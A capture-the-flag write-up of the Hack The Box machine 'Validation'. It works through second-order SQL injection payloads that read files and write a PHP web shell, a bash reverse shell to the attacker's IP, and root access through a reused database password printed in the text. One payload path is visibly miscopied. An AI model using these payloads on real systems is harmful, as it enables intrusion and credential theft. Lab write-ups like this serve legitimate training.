Validation is another machine from the UHC event and is currently live on Hack The Box as a retired machine. It starts with enumeration on a website and identifying a second order SQL injection. The SQL user can use various SQL functions, two of which allow for file read and file write. The web configuration, which contains database credentials, can be read using the file read ability. With the file write ability and also write permission on the web root, it is possible to drop a web shell to gain a foothold on the system. For the root part, the password for the database is found to be re-used by the root account.
Skills Learned
- Web enumeration
- SQL injection
Tools
- Nmap
- Burp Suite
Reconnaissance
Nmap
All TCP ports scan with nmap
discovers 4 open ports: SSH on 22, three web servers on 80, 4566 (probably LocalStack), and 8080.
→ kali@kali «validation» «10.10.14.5»
$ fscan 10.10.11.116 validation
nmap -p- 10.10.11.116 | grep '^[0-9]' | cut -d '/' -f1 | tr '\n' ',' | sed 's/,$//'
nmap -p 22,80,4566,5000,5001,5002,5003,5004,5005,5006,5007,5008,8080 -sC -sV -oA nmap/all-tcp-ports-validation 10.10.11.116
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-22 16:46 EDT
Nmap scan report for 10.10.11.116
Host is up (0.051s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 d8:f5:ef:d2:d3:f9:8d:ad:c6:cf:24:85:94:26:ef:7a (RSA)
| 256 46:3d:6b:cb:a8:19:eb:6a:d0:68:86:94:86:73:e1:72 (ECDSA)
|_ 256 70:32:d7:e3:77:c1:4a:cf:47:2a:de:e5:08:7a:f8:7a (ED25519)
80/tcp open http Apache httpd 2.4.48 ((Debian))
|_http-server-header: Apache/2.4.48 (Debian)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
4566/tcp open http nginx
|_http-title: 403 Forbidden
5000/tcp filtered upnp
5001/tcp filtered commplex-link
5002/tcp filtered rfe
5003/tcp filtered filemaker
5004/tcp filtered avt-profile-1
5005/tcp filtered avt-profile-2
5006/tcp filtered wsm-server
5007/tcp filtered wsm-server-ssl
5008/tcp filtered synapsis-edge
8080/tcp open http nginx
|_http-title: 502 Bad Gateway
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.07 seconds
The filtered ports indicate that there are some firewall/IP table rules applied on the machine.
Enumeration
TCP 80 - Website
Port 80 presents a registration page of UHC. Adding index.php
reveals that it’s PHP site.
I can register on it, and it redirects to /account.php
. The submitted inputs (country and username) are reflected back here, and this can be an indicator for injection point.
The HTTP request for register, which was previously intercepted using Burp Suite, is as follows:
POST /index.php HTTP/1.1
Host: 10.10.11.116
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Origin: http://10.10.11.116
Connection: close
Referer: http://10.10.11.116/index.php
Upgrade-Insecure-Requests: 1
username=choropys&country=Indonesia
And the server responses with 302
which redirects to /account.php
.
HTTP/1.1 302 Found
Date: Wed, 22 Sep 2021 21:08:19 GMT
Server: Apache/2.4.48 (Debian)
X-Powered-By: PHP/7.4.23
Set-Cookie: user=f1bffe3047f1550d765a66e3ac54515c
Location: /account.php
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8
The response also contains a cookie which is md5sum
of the username.
→ kali@kali «validation» «10.10.14.5»
$ echo -n 'choropys' | md5sum
f1bffe3047f1550d765a66e3ac54515c
Foothold
SQL injection
Detection
I will submit another registration request with the following payload,
POST /index.php HTTP/1.1
Host: 10.10.11.116
...[SNIP]...
username=choropys'&country=Indonesia'
Now when I navigate to /account.php
with updated cookie, the page displays an error message.
If I search for fetch_assoc()
on Google, it’s a PHP function that typically used to handle database records.
Now if I change the country
value to Indonesia' -- #
, the page doesn’t error out. From here, I can assume that the site is vulnerable to SQL injection.
I will submit country=Indonesia'ORDER BY 1,2 -- #
to identify the number of available columns, and the /account.php
page returns with the same error.
So the query in the backend only wants a single column.
Leak source
I couldn’t find any credentials on the database, but I found out that the MySQL load_file()
function isn’t restricted. I can read the /etc/passwd
file using that function.
username=choropys&country='UNION SELECT load_file('/etc/passwd') -- #
When I refresh /account.page
Since the location of account.php
has been leaked by the error message, I can try to load that file with country='UNION SELECT load_file('/var/www/html/account.php') -- #
. When I refresh the account.php
page and view its source, the source code of account.php
is there, and it also leaks the configuration file.
I can try to read config.php
by changing my payload to country='UNION SELECT load_file('/var/www/html/account.php') -- #
, and it reveals database credentials.
I will note these creds.
Shell as www-data
Web shell
I also find that writing files is allowed on /var/www/html/
, therefore I could put a web shell there.
username=choropys&country='UNION SELECT "<?php system($_REQUEST[c]); ?>" INTO OUTFILE "/var/www/html/chrp.php" -- #
And now I have code execution.
Reverse Shell
The system does have bash, but my reverse shell doesn’t work with the GET method, so I changed the request to use the POST method and URL encode the payload.
c=/bin/bash+-c+"/bin/bash+-i+>%26+/dev/tcp/10.10.14.5/21+0>%261"
On my listener
→ kali@kali «validation» «10.10.14.5»
$ nc -nvlp 21
listening on [any] 21 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.11.116] 37096
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@validation:/var/www/html$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
I will upgrade my shell.
www-data@validation:/var/www/html$ which script
which script
/usr/bin/script
www-data@validation:/var/www/html$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@validation:/var/www/html$ ^Z
[1] + 113 suspended nc -nvlp 21
→ root@kali «exploits» «10.10.14.49»
$ stty raw -echo; fg
[1] + 113 continued nc -nvlp 21
www-data@validation:/var/www/html$
The root flag is readable by others, so I could grab it.
www-data@validation:/home/htb$ ls -lR /home
/home:
total 4
drwxr-xr-x 2 root root 4096 Sep 9 12:09 htb
/home/htb:
total 4
-rw-r--r-- 2 root root 33 Sep 22 22:14 user.txt
I also noticed that I’m inside a Docker container because there is .dockerenv
at the root file system
www-data@validation:/$ ls -l .dockerenv
-rwxr-xr-x 2 root root 0 Sep 16 13:39 .dockerenv
Privilege Escalation
Shell as root
su root
In the previous enumeration using SQLi, I didn’t see user htb listed in the /etc/passwd
file, and it’s only root that has a login shell. So I tried the database password I obtained from the config.php
file on root, and it worked.
www-data@validation:/$ su -
su -
Password: uhc-9qual-global-pw
root@validation:~#
I thought I needed to escape from this container, but when I checked the /root/
directory, the root flag was there.
root@validation:/# ls -l /root/root.txt
-r-------- 2 root root 33 Sep 22 22:14 root.txt
I also briefly thought that maybe a player had left a copy of the root flag of the host in this container. But, after I watched the official walkthrough video by ippsec and read the writeup by 0xdf, the box ended this way 😅.